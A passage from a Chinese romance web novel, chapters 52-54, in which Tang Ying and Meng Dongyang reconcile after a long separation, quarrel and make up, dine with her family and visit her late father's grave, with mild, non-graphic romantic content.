唐盈低头看着面前这些食物,说:“今天这顿饭真好吃。” 唐盈有很多话想跟孟冬杨说,多到她需要列出一个框架,找到每一个表达的正确逻辑。 长时间的高阶学习让她很深刻地认知到,她的长处是什么,短板又是什么。 她的思辨能力好像还不错,但是口头表达能力有点弱,她的思维方式不够开阔,但是却能把把细节处理的很好。 这次复试之后,她突然意识到,她其实根本不爱学习,她对学习成果带来的人生改变也没有太大的期待。 考上了,她会放弃小城的生活,投身于更大的城市,进入一个崭新的世界。考不上,她也不打算再待在那座小城。 考研的结果不会影响她早就下定的决心。 爸爸生病期间和离开后的这些日子里,学习是唐盈应对痛苦的工具。 孟冬杨问她是为了什么想提升自己,她找到最开始的初心,有些不好意思去承认,一开始想要往上走,跟他有莫大的关系。 在过去很长一段时间里,她是找不到自我的。她只能抓住一些很小的目标,例如换一份待遇更好的工作,以及跟一个还不错的人缩短恋爱的距离。 如今她也依然不认为她考到了上海,甚至未来再去往比上海更远的地方,就能找到真正的自我。 但是每往前走一步,她的确可以看见更多的风景。 她不得不承认,在一座人情世故局限着自我发展的小城市,那些潜在的规则的确会束缚住一颗本就保守的灵魂。 唐盈意识到自己不是天生就豁达开阔的人。所以爸爸从前总是对她说“胆子大一点”“不要瞻前顾后”“多认识像孟冬杨这样的人对你没坏处”。 孟冬杨是什么样的人呢? 唐盈想,她对他的探索才刚刚开始。 她现在非常好奇,他的耐心到底从何而来。这三年,他的心境又经历了什么样的变化呢。 她终于有时间去认真琢磨。 她也会去琢磨老唐到底是一个什么样的男人,妈妈是一个什么样的女人。 爸妈的形象在爸爸离去后似乎有了新的面貌。 唐盈问孟冬杨:“我的变化很大吗?” 两人聊到这个话题的时候,他们已经从餐厅离开,进入了一家商场里的玩具店。 孟冬杨听她的话听得脑袋非常满,好几个瞬间,他觉得跟他喋喋不休地倾诉的这个女孩像一只闭关太久终于见到人类的蝴蝶。 她的翅膀一直拼命扇动,一会儿飞到他的眼皮上,一会儿飞到他的头顶,一会儿停在他的肩头,一会儿倏地飞进他的心间。 孟冬杨有些无奈地说:“你平时也可以跟我说这么多话的。” 不在的一起的日子,他们每天只互相道早安晚安。 唐盈冷漠地看着他:“你这人真记仇。” “感悟这么多,还以为你要读的是哲学心理学或者是社会学。” “我读不了文科……”唐盈趁机对孟冬杨说道:“我这个人不够感性,也不够理想主义,也不够浪漫主义……我太轴了。” “你轴得让我心梗。” “……” “但是你是懂浪漫的,我体会过。” 唐盈给汐汐和弟弟挑选好礼物后,孟冬杨想去付钱。 唐盈将他拦住:“刚刚吃饭你已经抢单了,我给我自己的外甥女和小外甥买东西,你就别抢了吧。” 孟冬杨脸色不悦:“你妈妈一直拿我当自家人看,你姐姐也是。只有你,总觉得我是外人。” “我跟我姐出去,我也不愿意只让她一个人花钱啊。”唐盈执意自己付了钱。 孟冬杨问:“那我去你姐姐家看孩子,我给他们带什么礼物?” “你要去?”唐盈疑惑道。 孟冬杨拧起眉心,“好,我不去。”话落拂袖而去。 唐盈把小气的男人拽住,“这些礼物算你买的,行吗?” 回酒店的路上,唐盈盯着孟冬杨看向车窗外的侧脸,“孟冬杨,你变了。” “被你磨的。”孟冬杨快速接话道。 唐盈耸一下肩膀,“我不是故意的。” 孟冬杨嘲讽道:“多么逃避责任的一句话啊。” “我需要对你负什么责?”唐盈质问他。 “很多。” “行,你回去列个清单给我,我们一笔一笔对账。” 车还未开到酒店,唐盈让师傅靠边停车。 孟冬杨问她要干什么。 唐盈说去便利店买东西,下了车后问他:“你没有什么要买的吗?” 孟冬杨摇头。 唐盈定定地看着他。 “没有。”孟冬杨重复一遍。 “好,那走吧。” 唐盈步伐很快地走在前面,身上法式衬衫的短飘带被夜风吹起来,她的下巴抬得很高。 孟冬杨跟在她后面,两只手各提着一大堆东西,手机响了,也不方便去看。 唐盈意识到自己没帮他提东西时,人已经快走到酒店门口。她回头,隔着几米远的距离看着这个男人,眼神有些茫然。 “怎么了?”孟冬杨靠近后问她。 “你累吗?”她也问他。 “我不累。” 唐盈接过他手里的一袋东西,嘟嚷道:“再过几年你都快四十了吧。” 孟冬杨冷笑着看了她一眼,丢掉她自行离去。 “我的意思是,你完全看不出年龄呢,刚刚我猛地那么一看,除了你身上这黑衬衣有点太成熟了,你的脸和你的身材看上去最多只有二十八岁。”唐盈快步追上去,跟在孟冬杨后面谄媚地说道。 孟冬杨懒得看她。 两人住的是套房,这两晚各睡各的房间。 开门之后,孟冬杨把东西放在门口的柜子里,先去洗手,然后又找衣服准备去洗澡。 唐盈回了自己的房间,整理晚上逛街时买来的一些文具。 她把行李放进行李箱的时候,从里面拿出一个小盒子。 待孟冬杨洗完澡,一身清爽地站在吧台上洗水果时,唐盈不动声色地把这个小盒子放到他的面前。 “是什么?”孟冬杨终于肯开口搭理她。 唐盈温声道:“迟到的三十三岁生日礼物。” 孟冬杨打开一看,里面是一枚小巧的上了漆的木章,上面刻着四个字——百事从欢。 他的眉眼舒展开,对唐盈扬了下下巴,“为什么是这四个字?” “就是希望你不管做什么都能开心。” “那我现在很不开心,怎么办?” 唐盈走过去拿走他掌心的章,碾碎一颗他洗好的蓝莓,蘸了蓝色的果汁,抬起手,盖在他的额头上。 第52章 给我下车 唐盈的呼吸近在咫尺, 孟冬杨低头看见她微红的唇瓣,目光触在一块儿,他身体本能地想要往前, 她却睫毛微闪,错开视线、侧过身,往自己的嘴巴里塞进一颗蓝莓。 “有点酸,你不要吃了。”她低声提醒道。 喉咙里划过一道涩感, 孟冬杨不听劝, 立即吃了一颗。 唐盈抿唇看着男人。 孟冬杨面无表情地说:“我觉得一点也不酸, 蓝莓比你甜多了。” 唐盈轻轻地瞪他。 洗完澡后, 唐盈没出房门直接躺下。 她实在是好累,刷了不到十分钟的手机就闭上了眼睛。考完试的第一个安心觉,不用为第二天早起看书学习而焦虑,连梦都是甜的。 生物钟在五点一刻响起,五分钟后,忘记提前关闭的闹铃声也响起。 唐盈有些空虚地看着天花板发起了呆, 混沌的时刻过去后, 才对睡在她隔壁房间里的男人产生一点好奇心。 要是昨晚孟冬杨去便利店里买了东西,她不会排斥跟他进行一些久违的亲密活动。 可惜他好像没有那个意思。 唐盈觉得自己已经很主动了, 身体也很诚实,只要靠近他,几乎下一秒就可以把他吃掉。 单纯的接吻都没办法好好填补堆砌已久的欲望。 孟冬杨的房门跟她一样没有锁。 她按下门把, 推开一条缝,里面寂静无声。她在门口站了一会儿后,决定先出趟门。 她按照导航找到那家老字号早餐店, 打包了生煎、粢饭团和豆浆。回去路上经过便利店, 买了必备的东西和两盒冰激凌。 孟冬杨喜欢在结束后跟她一起吃冰激凌, 冰冰凉凉的甜落入干燥发紧的喉咙,烧干的身体会得到清爽的润养。他们经常在吃完冰激凌后继续接吻。 想起这些很久没上演过的画面时,她现在就有想吃一口袋子里的冰激凌的冲动。 孟冬杨睡得不好。 是他自己的心态出了问题,醒来却第一时间给酒店写了差评,对床品进行了一些挑剔,又说隔音效果不好。 酒店的管家亲自送来定制礼品致歉。 唐盈回来的时候,门开着,西装革履的管家正在展示他精炼的口条。 孟冬杨裹着睡袍懒怠地坐在沙发上,看见唐盈手里提着几包东西进来,起身将管家送走。 门关上后,唐盈问:“怎么了?” “闹鬼。我一起来,房间里的人不见了。”孟冬杨阴阳怪气道。 唐盈说自己去买早餐了。 “酒店里有早餐。” “我就想吃这家。”唐盈把东西摆在餐桌上后,把便利袋里的冰激凌放进冰箱里。 孟冬杨问她:“还买了什么?” 唐盈看他皱着眉头,把袋子剩的两盒安全套拿出来也放在餐桌上。 孟冬杨愣了下神,然后转身回了房间。 唐盈怀疑这人有起床气,洗了手后自己坐在餐桌上开始吃东西。 彭文君发来消息,问他们晚上几点到霓城,孟冬杨去不去家里吃饭。 唐盈回复完姐姐后,问躲在房间里的人:“我们几点去机场?” 孟冬杨换了衣服出来,坐在唐盈的对面,把那两盒安全套扔远。 唐盈懒得理他,安静地品尝食物。 孟冬杨一直在期待唐盈能主动跟他说点什么,不是分开这两年的人生感悟或是经历低谷时的心路历程,这些他们可以慢慢聊。他需要一个明确示好的信号,哪怕只是主动拉一拉他的手。 可她竟然把心思放在他的功能性上,又或者,是在防备他。 没有安全用品就不能靠近他吗? “吃完饭我要工作一会儿,十点半我们出发去机场。”孟冬杨对油腻的生煎和干巴巴的饭团都没有兴趣,只喝了几口豆浆。 准备工作之前,他吃掉一些维生素和唐盈不知道是补什么的补剂。 唐盈看着他:“你太挑剔了。” “也许我只是没有胃口呢。去年我得了一段时间的胃病。” 唐盈没听说过他生病了,喉咙有点发紧。她放下手里的食物,扯了一张纸巾按在掌心,轻声道:“对不起,我对你的关心太少了。” 孟冬杨又吞下一粒钙片,“只是普通朋友,能互相问候已经很好了。” 收拾行李的时候,唐盈故意忽略掉餐桌上遗漏的安全套。 但这东西留下来也很尴尬,她来来回回地转了好几圈后,把这两个小方盒塞进了行李箱的最里层。 孟冬杨并不想留意她的一举一动,但她非常没有条理,一趟一趟进出房间和浴室,好几次还跑到他近处来找她的充电器和kindle。 跑了多那么趟,最后还是没找到她扎头发的发圈。 受她影响,他的工作进度为零。 当唐盈再次靠近的时候,孟冬杨从自己的裤子口袋里拿出一个棕色的发圈。 唐盈看过去,这不是她昨天用的那根,但是是她之前用过的。她不知道他是什么时候捡到的。 她想把发圈拿过来的时候,孟冬杨合上了他的手掌。 他冷声道:“去你枕头下面找吧。” 唐盈意识到这个男人的怨气有点重,这就是长时间异地带来的负面影响吗? 要是她现在嘴甜心软把他哄好,那之后他每次不开心,她都需要重复这样的举动吗? 他到底希望她做到什么程度? 唐盈觉得自己有点不会谈恋爱了。 准备离开房间的时候,唐盈走到孟冬杨的面前,面带笑容地问他:“你是在怪我昨天晚上洗完澡就直接睡了,还是怪我早上醒来没跟你打招呼就出门了?还是你觉得我必须主动跟你说一句什么话,才代表我们和好了?” 孟冬杨正欲接话,她隐隐地皱了下眉毛,“你的心思好难猜,我还以为我们已经和好了。其实你心里对我是有很多怨言的吧。” 冷静中带着一点烦躁的表情,是孟冬杨眼中,唐盈竖起那道屏障的信号。 她对他一直没什么耐心。她明明什么都知道,但是她不肯去做。 他要的真的很多吗? 唐盈继续说着:“如果只是一点小问题,你及时提出来,我会反省我自己,也会努力去改正。可是如果你已经怨了我两年,那我要怎么弥补我的自私呢?” “你真是越来越会说话了,你明知道我不可能去怨你的。”孟冬杨强迫唐盈抬起她低下的眉眼,“又过了两年,又经历了这么多事情,我在你心里的份量一点也没有变化吗?你对我这个人的评价,对我们之间感情的判断,也依然停在两年之前吗?” 话落孟冬杨松开了手,轻声对唐盈说了句“走吧”。 起得太早,犯困的唐盈在飞机上睡着了。睡着之前她脑子里还在想,要是她就这么睡了,这个男人又要怪她没心没肺了。 唉,好难伺候的一个人。 他努力赚钱就是为了出门必坐头等舱吗?距离太远,她连想撒撒娇把头枕在他肩膀上的机会都没有。 孟冬杨觉得自己再多跟唐盈谈几年恋爱的话,会短命。 他心里发笑,他本来就比她大了六七岁,再短命的话,她很可能年纪轻轻就要失去他。 算了,她对他从来都没有长远的考量,她根本无所谓他能陪她多久。 出于各种赌气的心理,他拍下一张唐盈不那么好看的睡容,打算落地后立刻发给她。 去年暑假,彭文君顺利离婚后,带着汐汐在他们学校附近租了一个新家。林律师已经尽了最大的努力,可还是没争取到弟弟的抚养权。 好在弟弟是个很精明的小孩,他用他自己的方式争取到周末两天和寒暑假各一个月的时间,来跟姐姐和妈妈团聚。 彭芳来霓城帮忙带小孩有半年多了,汐汐和弟弟跟她相处得很好,多年不跟妈妈一起生活的彭文君却时常跟她吵吵闹闹。 厨房里,为着孩子们对孟冬杨称呼的事,母女俩又吵开了。 彭芳问:“怎么就不能叫小姨夫了?从前汐汐叫谷瑞安也叫过小姨夫的。” 彭文君说这样叫担心孟冬杨会尴尬。 “他要是怕尴尬,就不会来吃这顿饭。”彭芳越说越激动,“要不是他一直没变心,一直在等唐盈,唐盈说不定都和路医生成了。” “你小声点,你总提路医生做什么,唐盈跟他又没什么。” 汐汐无奈地对唐盈和孟冬杨耸肩,“她们俩总是这样。” 孟冬杨把拼好的一块乐高递给汐汐,问她:“你见过路医生吗?” 弟弟在一边举手:“我见过路医生,他对小姨很好,他在追小姨。” “没有!”唐盈立刻反驳。 她紧张兮兮地捏住弟弟的脸,“再胡说,我就把你这张小嘴缝起来!” 孟冬杨摸了摸弟弟的头,继续问道:“他都是怎么追你小姨的?” 弟弟看了唐盈一眼,不敢再说,遁走了。 汐汐接话道:“追也没用啊,现在他还是输了。” 唐盈敲了下汐汐的脑袋:“输?这话是谁教你的?你偷偷看偶像剧了吧!” “你怎么这么凶,别把你的职业病带回家。”孟冬杨睨着唐盈。 彭芳做了八菜一汤,全部都是孟冬杨之前喜欢吃的。唐盈说她们今年过年也就是个规格。 彭文君给孟冬杨敬酒,感谢他介绍林乔伊这么好的律师给她,还给她提供一份这么好的工作,这才能让她能够脱离婚姻的苦海。 孟冬杨不愿意客套,说这些都是他应该做的。 彭文君开玩笑道:“好在我大你半岁,能担得起你叫我一声姐姐。” “唉哟,那小孟也快三十五了吧。”彭芳哪壶不开提哪壶。 唐盈纠正她的说法,“最讨厌你们老年人算虚岁了,明明三十四还不到。” 孟冬杨知道彭芳是个嘴硬心软的人,但过去相处那么多次,她基本上能做到对他温柔和蔼,可这次回来,她对他的态度变了。 他猜到这是为什么。这跟那个路医生有关。 “你妈妈喜欢路晨,她觉得路晨在本地,跟你年龄阅历相仿,又耐心陪伴你两年,很了解你,也很理解你,对吧。”孟冬杨说这些话的时候,心里在胀气,语气却异常平静。 他们正行驶在回孟冬杨家的路上,此时道路安静,两个人的心却焦躁不已。 没喝酒的唐盈负责开车,听完这些话后,她的脸上有点尴尬,她解释道:“我妈就是喜欢图一时口快,她也挺喜欢你的。” “她不喜欢我,她一直都觉得我跟你们有距离,就像你一直觉得你不能跟我走到最后一样,在你们心里,路晨跟你是一路人,我不是。” “她都让两个小孩叫你小姨夫了,你还要她怎么表态呢。”唐盈把车停在路边,“烦死了,我都不能好好开车了。” “你烦什么?说到你痛处了是吧?” 唐盈急了,“你给我下车!” 【作者有话说】 久等了~ 100个红包~ 第53章 我需要你 孟冬杨当真下了车。他大步流星地踏上人行道, 心里乱着,没顾及方向,竟然往家的反方向走去。 唐盈心一沉, 想去踩油门,可惜脚软心也软。 问题还是要解决,她不能就这样把他丢掉。 确定这个路段可以停车后,唐盈气鼓鼓地松开安全带, 推开车门下车去追人。 孟冬杨听见身后的脚步声, 停住脚, 回了头。她能下车追他, 他的气立马就消了一半。 唐盈看见男人回头后有些许尴尬,站定在原地,头偏到一边,不肯再往前走。 两人之间隔着十来米的距离。 寂静的街道,柏油路面上摇晃着黑色的树影,风很轻, 暮春的夜晚有最舒适的温度和湿度。 这样美好的春夜用来生气实在是浪费。 唐盈好久没有出现过这样的情绪了。这种口舌之争和你追我赶就像她班里的两个小孩在拌嘴打闹。 她是不喜欢吵架的人, 可是忽然间竟找到一点乐趣。 她怎么样也想不到有一天她会跟孟冬杨一起变成幼稚鬼。 他们进入了恋爱的新阶段了吗? 孟冬杨看着唐盈抱起了胳膊。她很少做这样的动作,这是专属于他的傲慢。 他想看她能傲慢多久。 这人竟然一动不动, 这样较劲有什么意思呢。唐盈站累了,顺势蹲在了地上,脑袋垂下去。 孟冬杨见状, 眉心一蹙,快步朝她走去。 唐盈看见一双长腿靠近,眼波流转。在鞋尖离她半米的时候, 她倏地站起身来, 一把抓住孟冬杨的手, 把他往回拽,“我让你下车你就下车,你也太听话了。” 孟冬杨心里一怔,她力气怎么这么大。 她哄人的姿态太不温柔了。 唐盈拉开副驾的门把孟冬杨推了进去。 孟冬杨仍旧沉着一张脸。 “安全带。”唐盈提醒他。 男人故意僵着,不肯动。 唐盈俯身过去帮他系,手刚触上那根带子,她折颈与他四目相对。 “孟冬杨。”她鼻息靠近。 孟冬杨回避了她的注视。 “你真作。”唐盈贴住了他的嘴唇。 孟冬杨的脸颊被捧住,呼吸被夺走,她延续强势的姿态,很快,整个人都坐了上来。 吻完他的嘴唇,她又去咬他的耳朵,牙齿在他的耳垂上留下痕迹。 湿润的触感点燃了他半个身体,娇吟的声息钻进他的脑袋,他感觉自己正在被吞噬。 唐盈想帮孟冬杨回顾他们第一次接吻的感觉。 她很清晰地记得那一天,每一个细节她都努力去复刻。那天他是如何引诱她的,眼下她就怎么向他展示她的学习成果。 她的程度比那天要更深。 孟冬杨觉得自己抱着一条美女蛇。剥离不掉躲避不开的时候,就只能跟她分食她身体里甜蜜的浆果。 久违的亲吻像春风吹走了书桌上的灰尘,露出来的台面上,有他们曾经一起书写的扉页。 他们分开的时间比在一起的时间要长太多了。 扉页翻开,会是新的章程。 唐盈的腿缩得太久,有点酸麻。 她枕在孟冬杨的颈窝里,把他的手掌挪到自己的小腿上,让他给自己按摩。 孟冬杨重重地捏了一下她腿弯处的筋,“你倒是会享受。” 唐盈吃痛,“哎哟”一声,又低低地笑出声来。 “笑什么?”孟冬杨问。 唐盈搂住他的脖子,“你变了。” “你也变了。” “现在你心里舒服点了吗?”唐盈用掌心按住他的心脏。 “没有。”孟冬杨故意说道。 唐盈叹气:“白亲了。” 唐盈从孟冬杨的腿上下来,坐回到驾驶位。 她摆出一副严肃认真的样子,问孟冬杨:“不管这两年我们对这段关系的定义一不一致,现在我们还是喜欢彼此,还想要继续在一起,对不对?” “我从来没有接受过你分手的提议,在我心里我们根本没有分过手。” “所以你是介意路医生?” “这不是重点。” 虽然他说这不是重点,但唐盈觉得还是需要好好解释一下这件事。 她的语气十分柔软,“路医生从来没有跟我表白过,我心里有你,我也从来没有对他动过心,我妈说的那些话根本就不成立。我妈会这样想,这是她思维上的局限性,我不会受她干扰,你要信任我。至于差距这个问题,是我们之间客观存在的事实,我们需要一起去解决物理距离的问题,其他方面的距离,你只要邀请我就好了,我会自己走到你的世界里去。只有我心里清楚了,踏实了,能跟我妈讲明白了,她才有可能扭转对我们关系的看法。” 顿了顿,她继续说道:“我妈有她的局限性,我也有我短视的地方。之前觉得没办法跟你长久,是我不够自信,也是……我的心机,对,心机,这样说,你好受点了吗?” “那现在呢?我要听现在。”孟冬杨的眼神无法从说话的唐盈脸上移开。她不知道她说这些话的语气和神态有多美。 他想他会永远记得她今晚的样子。 唐盈回答他的话:“我比两年更喜欢你。我以为我们就这样分手了,我的心一下子老了好几岁。但是刚刚我跑下车去追你的时候,我觉得我好像回到了十八岁。我不喜欢在手机里谈恋爱,我想见到你。我需要你。” “你好甜。”孟冬杨伸手触了下唐盈的脸。 唐盈把他的手掌按在自己的脸颊上,吻了吻他的手指,“我进步了,可是你倒退了。九十五分没有了,你现在只有八十分了。” 孟冬杨不好哄,所以唐盈愿意把话说满。 过去爸妈总是为着一些很小的事情吵架,其实只要其中一个人先示个弱,长嘴哄一哄,矛盾就会立刻消除。 唐盈觉得孟冬杨有生气的权利,但是他的气最好不要超过今晚十二点。 她看了看时间,十一点整。 她提前一个小时完成了任务。 唐盈的话里有很多值得细细思考的点,孟冬杨都记下了。 他有一种跑马拉松跑过半程后遥遥领先的兴奋感。他想从唐盈身上得到的东西,终于赢得了一半。 他没有放弃,也没想过要放弃,他要感谢自己的坚持,也要感谢唐老师的耐心。 彭芳早起就开始催唐盈,问她跟孟冬杨怎么还不过来接她们。一家人要一起回青阳祭拜老唐。 彭文君说唐盈和孟冬杨久未团聚,早上起不来也是正常的,让她稍安勿躁。 彭芳轻嗤道:“异地恋谈起来真是累人哦。” 昨晚做了好几次,唐盈累的根本起不来。 孟冬杨看了看时间,已经九点半,把她从被子里拖出来。 唐盈坐直身体,小腹痛得厉害,下了床,大腿内侧酸到走不了路。 孟冬杨看着她一瘸一拐地去浴室,打趣她:“你这一年都没有锻炼身体吗?” “白天上班,晚上和周末要复习,哪有时间锻炼啊。” 孟冬杨不禁有些得意,昨夜卖力的是他,起床后他却神清气爽,可见年龄差这个问题根本就是多虑。 唐盈对着镜子刷牙,孟冬杨走到她身边问她:“你满足了吗?” “我不喜欢跪着。”她指的是她跪在前面,下面要留空间给他,肩膀还要被他硬生生往后掰直的那种样子。 孟冬杨挑了下眉毛,“你当时怎么不说?” “我说了,你听不见。” 孟冬杨靠近镜面看自己的眼睛,“你知道两年没有性生活,对一个正值壮年的男人来说意味着什么吗?有些功能是会退化的。” “谬论!” “我当你是在夸奖我。”他看着镜子里的唐盈,“我眼角的皱纹好像消失了。” 唐盈露出鄙夷的眼神。 去墓园之前,唐盈问孟冬杨,要不要去顺路看看唐臻。如果要去,他们需要多买两束鲜花。 几年过去,这个话题仍不轻松。 孟冬杨答话之前,唐盈已经低头在挑选白色的郁金香了。 她说:“我跟你一起去。” 经历了爸爸的离开后,唐盈对死亡和别离有了更深的感悟。 站在昔日孟冬杨的角度,站在大哥大嫂的角度,她对唐臻的离去有了更多的思考。 逝者为大是一句过于宽泛的话。她想要释怀孟冬杨和唐臻的旧情,不需要依靠这句话来进行自我说服。 是啊,她怎么能喜欢孟冬杨呢。 可是,她喜欢孟冬杨这件事,是她自己要过的关卡。她只用跟自己斗争就好了。 面对着唐臻的墓碑,看着身边的这个男人,唐盈心里有非常坚固的东西在沉淀。 这是成长带来的感触。 有酸涩,有煎熬,有焦虑,有困惑,但最终留下的,是勇敢,是责任,是真诚,是爱。 唐盈再也不是曾经的那个小唐盈了。 【作者有话说】 明天双更~ 第54章 现在就要 彭芳对着老唐的遗照念叨, 说清明节在霓城陪汐汐补课,没能回来看他,让他莫怪。 说完想去清理四周的杂草, 发现周围干干净净,她问唐盈:“清明你一个人来的?” 唐盈说大哥大嫂也来了。 彭文君边放供品,嘴里碎碎念着:“蒸糕、大肉包,你最喜欢吃的, 都是妈亲手做的。” 唐盈把茅台拿出来打开, 酒倒在小酒杯里, 放在墓碑前, 吐槽道:“规矩真多,这算不算是浪费食物。” 彭芳敲了唐盈的脑袋一下,“浪费你不也每个月都来嘛,家里的好酒都快被你孝敬光了。” 唐盈蹙眉,“这么多好吃的,真是便宜了附近的老鼠了。” 老唐喜欢喝酒, 喜欢抽烟, 唐盈每个月来都给他倒酒点烟。 她知道这是对活人的慰藉,可是不带点什么来, 不留下点什么陪着爸爸,她心里会很空。 有一回她还带了她的草稿纸来烧给老唐,她问老唐她怎么越活越小了, 每天写的作业比自己的学生还要多。 爸爸走后,她时常回忆自己小时候的事情,有一天她怎么也想不起来老唐年轻时的样子, 跑回旧家去翻老相册, 发现老唐年轻的时候还挺帅, 她对着照片红了眼睛。 她从前对老唐很少有好脸色,尤其是青春期的时候,不是对他横眉就是对他冷眼。她从来没觉得爸爸帅过。 从小到大,她起码没收过爸爸一百包烟。老唐抽烟喝酒的时候,她总是会吓唬他,说烟酒过量会短命。 她恨自己那时候管的太宽还喜欢胡说八道。 孟冬杨跪在地上给老唐烧纸。 他心里敬老唐是长辈,但要是抛开跟唐盈的这层关系,老唐过去跟他的相处,更像是忘年交的朋友。 老唐豁达、睿智、洒脱、风趣,跟他在一块儿,孟冬杨的心情总是很开阔。 有一回他们俩一起去钓鱼,老唐试探他对唐盈的心意,他表态他是认真的,老唐笑笑,说既然认真,就不要把唐盈当成一条鱼或者是一个物件,不要对她有任何捕鱼的心态。 老唐说唐盈是个慢热的人,她慢,他就不能太快,他必须要有耐心,耐心等待唐盈主动朝他靠近。 老唐最在乎的就是唐盈这个女儿。他出事之前还在烦闷孟冬杨要去美国的事情,担心两个人会因为异地而分开。 孟冬杨知道他心里是责怪自己的。他很遗憾,没能在老唐清醒的时候好好跟他交交心。 要做的事情都做完后,唐盈请妈妈和姐姐先走一步,她说她有话要跟爸爸说。 彭芳笑她好啰嗦,每次来都要跟老唐倒豆子,老唐在地下估计都嫌她烦嫌她吵。 只剩下自己跟孟冬杨后,唐盈摸了摸墓碑上老唐的照片,轻声对他说道:“我跟孟冬杨还在一起呢,你放心吧,你给我挑的人,我会好好珍惜的。” 这话让孟冬杨听得眼睛一热,他张了张口,想说点什么,发现自己十分不擅长做这种事。 唐盈拉住他的手,“我替你表过态了,他都知道。” 下台阶的时候,唐盈眺望着远处的风景,对孟冬杨指了指匍匐在他们脚下的这座小城,“看,一览无余。” 她问道:“当初你爸爸让你来青阳招标,你心里应该是很不情愿的吧。” 人生地不熟,他当时的确有种被发配的感觉。孟冬杨淡笑一下,“所以认识你之后,我特别想交你这个朋友。” 唐盈努努嘴,“交我这个朋友你可没得到任何好处,我们家的事一件连一件的,我处处都在麻烦你。” 孟冬杨感叹道:“当初的唐老师太客气了。” 他现在回想起她拒人于千里之外的样子,心仍会怦怦跳。他嘴上嫌她捂不热,心里却爱她的清醒和克制。 唐盈说:“一见钟情这种事不会发生在我身上。” 孟冬杨揶揄她:“你当时有未婚夫,你怎么对我一见钟情?” “你又来了。” “那如果当时你是单身,你看得上我吗?” 唐盈的语气过于果断,“你不是我的理想型。” 孟冬杨梗住,又被她给气着了。他脸色不悦地问她:“那你是什么时候心里有我的?” 唐盈被问住了。她也不知道。 他们先去了墓地才回家,彭芳这才知晓,这几个月她不在青阳,她这个一心向学的小女儿竟然把这个新家糟蹋成这幅鬼样子了。 家里的绿植死的死烂的烂,连最好养的绿萝都停止了生长。阳台和厨房满是浮灰,油瓶里的油,过年时还剩多少,现在仍然有多少。 彭文君伸手触了触茶几上的灰尘,问唐盈:“你平时坐过沙发吗?” 唐盈摇了摇头。 “你自己一个人都是怎么吃饭的?” 唐盈说中午在单位吃,晚上随便应付一口,周末点外卖。 彭芳打开冰箱,她过年时包的饺子馄饨,蒸的肉包,炸的丸子,倒是都被她吃完了。 她叉腰数落唐盈:“你是心思都在学习上,还是心思不在生活上?你这样我怎么放心你一个人在家。” 唐盈听得心里好烦,“我都二十七了,我知道怎么照顾好自己。最近就是太忙了嘛,往后不忙了,我肯定能把日子过好。” “小孟把房子给你弄得这么漂亮,你要珍惜啊。” “哎呀我知道了。” 三位女士在开唐盈的批斗大会,孟冬杨悄无声息地踏进了唐盈的书房。 家里最乱的就是这个地方了,桌面上摆着大堆的复习书、考题和草稿纸。 精算是数学、统计学和金融的交叉学科,一部分跟高阶数学有关的东西她需要重新捡起来,还有一大部分她必须重头学起。 孟冬杨抽出两张唐盈的验算笔记,上面有线性代数、数理统计,还有他看不太懂的一些金融风险模型。 专业不相通,唐盈从来不跟孟冬杨进行学习上的交流。孟冬杨大概知道她要看哪些书和资料,发过一些邮件给她,她会接收,但没有反馈。 孟冬杨坐在她的椅子上,从乱书堆里抽出一本英语书,打开第一页,上面写着一个“L”。 这是路晨借给她的复习笔记。 路晨是逻辑严谨的医学生,有一套非常科学的学习方法,他的英语也很好。 他在复习方面给唐盈提供了最实际最有效的帮助。 通过他清秀俊逸且十分工整的字迹,孟冬杨判断这家伙多少算是个学霸。 他往后翻了几页,无意中看到一处语法错误,正想把书本合上,看见唐盈在旁边的标签贴上进行了订正。 唐老师实在是看的认真。 孟冬杨懒得再看,把书本合上,起身想去唐盈的书柜看看,一抬脚,发现侧面的抽屉开了一半,视线落过去,一眼便看见里面放着的烟盒和打火机。 他拿起烟盒掀开盒盖,里面只剩下五支。 他把烟盒塞进了衣服口袋里。 彭芳和彭文君打扫卫生的时候,唐盈懒怠地躺在了沙发上。 孟冬杨想去帮忙,被彭芳阻止。彭芳让他跟唐盈去趟超市,添一些生活用品,再买点菜。 唐盈不想动,彭芳瞪了她一眼,孟冬杨强行把她拖出门。 进了电梯后,孟冬杨拍了拍唐盈的背,“一下子松弦了,人就懒了,是吧。” “什么啊,就是昨晚累的啊。”唐盈打了个哈欠,“我一个人生活的好好的,我妈一回来就各种挑刺。” 孟冬杨表情严肃:“除了煮泡面,一顿饭也没认真给自己做过,这叫生活的好好的?” “我妈说我,你也说我。”唐盈轻哼一声,“吃饭很重要吗?填饱肚子不就可以了吗?” “吃饭要是不重要的话,你妈为什么这么多年从不亏待你的嘴?” 唐盈说一个人吃饭没意思,她叹了口气,“家里从四个人变成三个人再变成两个人,现在,就只剩下我一个人了。我实在找不到吃饭的乐趣。” 除了吃饭,生活的乐趣也不复存在。 孟冬杨没享受过家庭的温馨和热闹,但他在唐盈家吃过很多次饭,他感受过鲜活的烟火气,他能明白唐盈心里的落差。 他说:“我多陪你一段时间吧,陪你等到考试结果出来。” 唐盈拒绝,“你不是还想早点退休嘛,事业上升期,别懈怠。” 孟冬杨拉住她的手,“这是你的真心话吗?” “当然了,我们不是早就达成共识了嘛。” “那你对以后是怎么规划的?” “有书读就读,能去上海,就离你又近了一点。”唐盈耸耸肩膀,“我暂时也没有经济压力了,上上学,到处玩一玩,日子很有盼头。” “你开心吗?” “挺开心的。” “不要骗我。” “我不骗你。” 晚上苏洋洋来家里吃饭,带了个小蛋糕来。 梅馨的两家店去年陆续关门,这两年青阳开了好多家不错的甜品店。 唐盈打开蛋糕盒一看,是巧克力的,对孟冬杨挑了挑眉毛。 苏洋洋啧嘴道:“你们俩真是能吃到一块儿去。” 苏洋洋只在老唐去世的那段日子里见过孟冬杨,不曾跟他深交。印象中唐盈的这个男朋友神神秘秘。 今天同桌吃饭,近距离观察,发现这个男人也没有想象中那么不接地气。 彭芳悄咪咪地问苏洋洋:“你觉得唐盈跟她对象般配吗?” 苏洋洋说只要唐盈喜欢,那就般配,又说:“比那什么贱……谷瑞安好太多了。” “那跟路医生比呢?” “啊……”苏洋洋抿了抿唇,“不是同一个类型的吧,不好作比较。阿姨,你是不是不喜欢孟冬杨?” 彭芳摆摆脑袋,“不是不喜欢,就是担心唐盈跟他走不到一块儿去。” “让唐盈自己把握呗。”苏洋洋笑笑,“路医生要是想追唐盈,这两年早就追了。他跟唐盈,可能就是缘分差了点,谁让唐盈先认识孟冬杨了呢。” 唐盈收拾了一袋路晨借给她的书,托苏洋洋明天上班转交给他。 苏洋洋开她玩笑道:“现在这么避嫌啊,面都不见了。” 